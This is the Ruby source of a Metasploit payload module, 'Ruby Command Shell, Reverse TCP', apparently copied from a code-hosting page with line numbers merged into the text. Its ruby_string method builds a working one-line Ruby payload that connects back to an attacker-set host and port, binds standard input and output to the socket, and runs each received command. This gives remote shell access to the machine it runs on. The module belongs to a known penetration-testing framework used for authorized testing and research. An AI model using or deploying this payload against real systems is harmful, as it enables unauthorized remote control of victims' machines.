Path: blob/master/modules/payloads/singles/ruby/shell_reverse_tcp.rb
21538 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 51678include Msf::Payload::Single9include Msf::Payload::Ruby10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Ruby Command Shell, Reverse TCP',17'Description' => 'Connect back and create a command shell via Ruby',18'Author' => [ 'kris katterjohn', 'hdm' ],19'License' => MSF_LICENSE,20'Platform' => 'ruby',21'Arch' => ARCH_RUBY,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'ruby',25'Payload' => { 'Offsets' => {}, 'Payload' => '' }26)27)28end2930def generate(_opts = {})31return prepends(ruby_string)32end3334def ruby_string35lhost = Rex::Socket.is_ipv6?(datastore['LHOST']) ? "[#{datastore['LHOST']}]" : datastore['LHOST']36"require 'socket';c=TCPSocket.new(\"#{lhost}\", #{datastore['LPORT'].to_i});" \37'$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;' \38'(IO.popen(l,"rb"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'39end40end414243